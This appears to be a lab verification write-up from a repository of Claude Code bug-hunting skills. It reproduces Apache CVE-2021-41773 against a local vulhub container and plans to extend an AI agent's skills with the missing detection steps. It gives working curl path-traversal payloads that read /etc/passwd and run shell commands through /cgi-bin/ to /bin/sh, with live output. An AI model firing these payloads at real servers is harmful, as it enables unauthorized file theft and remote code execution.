Skip to content

A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.

5.4 KB
Raw Blame

Verification — Apache HTTP Server CVE-2021-41773 (path traversal → RCE)

Path traversal in Apache HTTP Server 2.4.49 via the alias-path normalization bug. File disclosure on any alias, full RCE if mod_cgi is enabled on the alias. Public CVE, CISA KEV-listed, still seen on internet-exposed servers four years later because patching means restarting httpd.

Target

vulhub/httpd (built locally from the CVE-2021-41773 Dockerfile) running on port 48080 (remapped from 8080 to dodge Burp).

git clone --depth 1 https://github.com/vulhub/vulhub.git /tmp/vulhub
cd /tmp/vulhub/httpd/CVE-2021-41773
sed -i.bak 's|"8080:80"|"48080:80"|' docker-compose.yml
docker-compose up -d --build

Confirm server identity:

curl -sI http://localhost:48080/
# → Server: Apache/2.4.49 (Unix)

What the skill stack actually says

What it knows

hunt-rce mentions traversal encoding bypasses generically:

../           → ..%2F → %2e%2e%2f → ....//

That's the right encoding family. hunt-cache-poison also mentions %2e%2e/-style WCD path bypasses for cache deception.

What it doesn't know

$ grep -niE "CVE-2021-41773|httpd 2.4.49|alias.*traversal|2.4.49 path|cgi-bin.*traversal" \
    skills/ docs/disclosed-reports/ -r
(no matches)

Specifically missing:

  • Version-specific detection — Apache 2.4.49 is the only version vulnerable to this pattern (2.4.50 patched, 2.4.51 patched the patch). Skill should fingerprint via Server: header.
  • Alias targeting — the traversal only works through configured alias paths (/icons/, /cgi-bin/, etc.). Random URL paths don't escape DocumentRoot.
  • The RCE upgrade — file read via /icons/ ≠ RCE; RCE requires the alias to also have Options +ExecCGI, which is /cgi-bin/ on the default config. A fresh user might do the file-read and call it Medium when the same vuln on /cgi-bin/ is Critical.
  • No mention of CVE-2021-42013 — the follow-up CVE that bypassed the 2.4.50 patch. Operators triaging 2.4.50 should know about it.

The exploit (live)

Phase 1 — file disclosure via /icons alias

curl --path-as-is "http://localhost:48080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

Live result:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...

Full /etc/passwd disclosed in plaintext. Note --path-as-is is required so curl doesn't normalize the .%2e/ segments locally before sending.

Phase 2 — RCE via /cgi-bin alias

The /cgi-bin/ alias has Options +ExecCGI in the vulhub config. Path-traverse to /bin/sh and POST a shell command in the body:

curl --path-as-is -X POST \
  -d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \
  "http://localhost:48080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

Live result:

uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux d2fc5e892839 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:39:21 UTC 2026 x86_64 GNU/Linux
d2fc5e892839

Command executed inside the container. daemon user — limited blast radius — but a real-world Apache often runs as root or apache with broader privileges. Either way, code execution achieved.

Phase 3 — why /icons returned the file instead of executing

curl --path-as-is -X POST \
  -d "echo Content-Type: text/plain; echo; id" \
  "http://localhost:48080/icons/.%2e/.%2e/.%2e/.%2e/bin/sh"
# → returns the /bin/sh ELF binary content as plaintext (file read), no execution

/icons/ does NOT have Options +ExecCGI. Same path-traversal primitive, very different impact tier. Crucial distinction for triage.

Verdict

Exploit

PASS — live. File read + RCE both confirmed against Apache 2.4.49 in 2 curl commands each.

Skill stack

GAP — version + alias awareness missing. Encoding bypasses are documented; alias-specific exploitation and version-specific detection are not. Phase 2's discipline rule (Pre-Severity Gate) would prevent the inverse mistake (filing P3 file-read when /cgi-bin/ is reachable and would have been P1).

What gets fixed

hunt-rce/SKILL.md — new Pattern

Add an "Apache HTTP Server alias-path traversal" sub-pattern under existing path-traversal coverage:

  • Detection: Server: Apache/2.4.49 (or Apache/2.4.50 for CVE-2021-42013)
  • Test: probe every configured alias path with .%2e/ encoding
  • Upgrade path: if /cgi-bin/ traversal works → RCE via /bin/sh POST body

docs/disclosed-reports/hunt-rce.md

Add Cited Public Example.

hunt-misc/SKILL.md — note the "same primitive, different impact tier" rule

The triage discipline lesson: when a path-traversal works on multiple paths but only ONE leads to RCE (because of mod_cgi alias scope), severity is the maximum impact, not the average. Phase 2's Pre-Severity Gate enforces this.

What this verification proves

The verification loop continues to deliver value:

  1. Apache CVE-2021-41773 is in our claim area (web-server attack surface) but the specific shape (alias-path + mod_cgi) was missing from the skills.
  2. The skill gap structure here is different from Jenkins (missing primitive class) and Spring (missing delivery vector for known primitive) — this is an impact-tier ambiguity gap. Same primitive, very different criticality depending on alias context.
  3. Three different gap types in three CVEs suggests we should expect a variety of gap shapes as we expand the matrix.